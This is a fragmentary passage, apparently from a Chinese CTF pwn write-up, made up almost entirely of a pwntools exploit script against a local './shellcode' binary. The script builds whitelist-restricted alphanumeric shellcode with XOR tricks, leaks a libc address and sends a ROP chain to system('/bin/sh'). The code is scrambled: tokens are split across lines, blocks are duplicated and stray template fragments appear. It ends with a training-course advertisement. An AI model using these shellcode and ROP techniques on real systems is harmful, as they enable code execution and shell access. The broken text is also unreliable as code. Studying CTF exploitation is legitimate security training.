xor dword ptr [rax+0x68], ecx #0x41414142^0x41414355=0x217 ; 构造0x217,加偏移才能满足白名单字符
pop rcx
push r12 #r12=_start
xor dword ptr [rax+0x68], ecx #_start^0x217=gadget_addr
push r9 #之后弹给r15的值
push rsp
pop r9 #r9=&(__libc_start_main+231)
push rdx #rdx=0x41414142
push 0x41414443
pop rcx
xor dword ptr [rax+0x58], ecx #0x41414142^0x41414443=0x501
pop rcx
push rsp #之后弹给rsi的值
push r12
xor dword ptr [rax+0x50], ecx #get pop_rsi_r15_addr
pop rcx #save pop_rsi_r15_addr
push rcx
push rcx
push 0x41
push 0x43
pop rcx
xor dword ptr [rax+0x48], ecx #0x43^0x41=0x2
pop rcx
xor dword ptr [rax+0x48], ecx #pop_rsi_r15_addr^0x2=pop_rdi_addr
pop r10 #save pop_rdi_addr
push 0x41414242
pop rcx
push rdx #rdx=0x41414142
xor dword ptr [rax+0x48], ecx #0x41414142^0x41414242=0x300
pop rcx
push r8 #r8=__libc_csu_init
xor dword ptr [rax+0x48], ecx #__libc_csu_init^0x300=puts@plt
pop rdx #save puts@plt
push rdi #shellcode_addr
pop rax #rax=shellcode_addr
xor al,0x6e
push rax #shellcode_addr+0x6e
push rdx #puts@plt
push r9 #栈地址,指向__libc_start_main+231
push r10 #pop_rdi_ret
push r8
pop rcx #rcx=__libc_csu_init=0xxxxxxxxxxxxxa0
push rax
pop rdx #控制rdx=rax
xor dword ptr [rax+0x58], ecx #rax+0x58写入0xa0
push rdx
pop rax #控制rax=rdx,之后从puts返回时需要执行
push 0x31
pop rcx
xor dword ptr [rax+0x58], ecx #0xa0^0x31=0x91
push 0x52
pop rdx
xor dword ptr [rax+0x58], edx #0x91^0x52=0xc3=ret
'''
)
print
(payload)
p.sendafter(b
'you'
,payload)
leak
=
u64(p.recvuntil(b
'\x7f'
)[
-
6
:].ljust(
8
,b
'\x00'
))
-
231
libc_base
=
leak
-
libc.sym[
'__libc_start_main'
]
system
=
libc_base
+
libc.sym[
'system'
]
binsh
=
libc_base
+
next
(libc.search(b
'/bin/sh'
))
pop_rdi
=
libc_base
+
0x000000000002164f
ret
=
libc_base
+
0x00000000000008aa
one_gadget
=
libc_base
+
one[
1
]
print
(
'__libc_start_main'
,
hex
(leak))
print
(
'libc_base'
,
hex
(libc_base))
#gdb.attach(p,'b *'+hex(one_gadget)+'\nc')
payload
=
b
'A'
*
8
+
p64(pop_rdi)
+
p64(binsh)
+
p64(system)
#payload = p64(ret)*5+p64(one_gadget)
p.sendline(payload)
p.interactive()
from
pwn
import
*
context(log_level
=
'debug'
,os
=
'linux'
,arch
=
'amd64'
)
p
=
process(
'./shellcode'
)
elf
=
ELF(
'./shellcode'
)
libc
=
elf.libc
one
=
[
0x4f2a5
,
0x4f302
,
0x10a2fc
]
payload
=
asm(
'''
push rsp
pop rax
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop r8 #__libc_csu_init
pop r9 #__libc_start_main+231
pop rcx #扔掉数据
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
push 0x41414142 #控制rdx值
pop rdx
push rdx
push 0x41414355
pop rcx
xor dword ptr [rax+0x68], ecx #0x41414142^0x41414355=0x217 ; 构造0x217,加偏移才能满足白名单字符
pop rcx
push r12 #r12=_start
xor dword ptr [rax+0x68], ecx #_start^0x217=gadget_addr
push r9 #之后弹给r15的值
push rsp
pop r9 #r9=&(__libc_start_main+231)
push rdx #rdx=0x41414142
push 0x41414443
pop rcx
xor dword ptr [rax+0x58], ecx #0x41414142^0x41414443=0x501
pop rcx
push rsp #之后弹给rsi的值
push r12
xor dword ptr [rax+0x50], ecx #get pop_rsi_r15_addr
pop rcx #save pop_rsi_r15_addr
push rcx
push rcx
push 0x41
push 0x43
pop rcx
xor dword ptr [rax+0x48], ecx #0x43^0x41=0x2
pop rcx
xor dword ptr [rax+0x48], ecx #pop_rsi_r15_addr^0x2=pop_rdi_addr
pop r10 #save pop_rdi_addr
push 0x41414242
pop rcx
push rdx #rdx=0x41414142
xor dword ptr [rax+0x48], ecx #0x41414142^0x41414242=0x300
pop rcx
push r8 #r8=__libc_csu_init
xor dword ptr [rax+0x48], ecx #__libc_csu_init^0x300=puts@plt
pop rdx #save puts@plt
push rdi #shellcode_addr
pop rax #rax=shellcode_addr
xor al,0x6e
push rax #shellcode_addr+0x6e
push rdx #puts@plt
push r9 #栈地址,指向__libc_start_main+231
push r10 #pop_rdi_ret
push r8
pop rcx #rcx=__libc_csu_init=0xxxxxxxxxxxxxa0
push rax
pop rdx #控制rdx=rax
xor dword ptr [rax+0x58], ecx #rax+0x58写入0xa0
push rdx
pop rax #控制rax=rdx,之后从puts返回时需要执行
push 0x31
pop rcx
xor dword ptr [rax+0x58], ecx #0xa0^0x31=0x91
push 0x52
pop rdx
xor dword ptr [rax+0x58], edx #0x91^0x52=0xc3=ret
'''
)
print
(payload)
p.sendafter(b
'you'
,payload)
leak
=
u64(p.recvuntil(b
'\x7f'
)[
-
6
:].ljust(
8
,b
'\x00'
))
-
231
libc_base
=
leak
-
libc.sym[
'__libc_start_main'
]
system
=
libc_base
+
libc.sym[
'system'
]
binsh
=
libc_base
+
next
(libc.search(b
'/bin/sh'
))
pop_rdi
=
libc_base
+
0x000000000002164f
ret
=
libc_base
+
0x00000000000008aa
one_gadget
=
libc_base
+
one[
1
]
print
(
'__libc_start_main'
,
hex
(leak))
print
(
'libc_base'
,
hex
(libc_base))
#gdb.attach(p,'b *'+hex(one_gadget)+'\nc')
payload
=
b
'A'
*
8
+
p64(pop_rdi)
+
p64(binsh)
+
p64(system)
#payload = p64(ret)*5+p64(one_gadget)
p.sendline(payload)
p.interactive()
TXYYYYYAXAYYYYYYYYhBAAAZRhUCAAY1HhYAT1HhAQTAYRhCDAAY1HXYTAT1HPYQQjAjCY1HHY1HHAZhBBAAYR1HHYAP1HHZWX4nPRAQARAPYPZ1HXRXj1Y1HXjRZ1PX
TXYYYYYAXAYYYYYYYYhBAAAZRhUCAAY1HhYAT1HhAQTAYRhCDAAY1HXYTAT1HPYQQjAjCY1HHY1HHAZhBBAAYR1HHYAP1HHZWX4nPRAQARAPYPZ1HXRXj1Y1HXjRZ1PX
xor al,
0x74
push rax
#shellcode_addr+0x6f
push rdx
#puts@plt
push r9
#栈地址,指向__libc_start_main+231
push r10
#pop_rdi_ret
push r8
pop rcx
#rcx=__libc_csu_init=0xxxxxxxxxxxxxa0
push rax
pop rdx
#控制rdx=rax
push
0x31
xor dword ptr [rax
+
0x58
], ecx
#rax+0x34写入0xa0
pop rcx
push rdx
pop rax
#控制rax=rdx,之后从puts返回时需要执行
xor dword ptr [rax
+
0x58
], ecx
#0xa0^0x31=0x91
push
0x52
pop rdx
xor dword ptr [rax
+
0x58
], edx
#0x91^0x52=0xc3=ret
xor al,
0x74
push rax
#shellcode_addr+0x6f
push rdx
#puts@plt
push r9
#栈地址,指向__libc_start_main+231
push r10
#pop_rdi_ret
push r8
pop rcx
#rcx=__libc_csu_init=0xxxxxxxxxxxxxa0
push rax
pop rdx
#控制rdx=rax
push
0x31
xor dword ptr [rax
+
0x58
], ecx
#rax+0x34写入0xa0
pop rcx
push rdx
pop rax
#控制rax=rdx,之后从puts返回时需要执行
xor dword ptr [rax
+
0x58
], ecx
#0xa0^0x31=0x91
push
0x52
pop rdx
xor dword ptr [rax
+
0x58
], edx
#0x91^0x52=0xc3=ret
0x74
,
0x42
0x74
,
0x4a
0x74
,
0x4b
0x74
,
0x58
0x74
,
0x42
0x74
,
0x4a
0x74
,
0x4b
0x74
,
0x58
xor dword ptr [rax
+
%
s], ecx
push
0x31
pop rcx
push rdx
pop rax
xor dword ptr [rax
+
%
s], ecx
0x74
,
0x42
0x74
,
0x4a
xor dword ptr [rax
+
%
s], ecx
push
0x31
pop rcx
push rdx
pop rax
xor dword ptr [rax
+
%
s], ecx
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)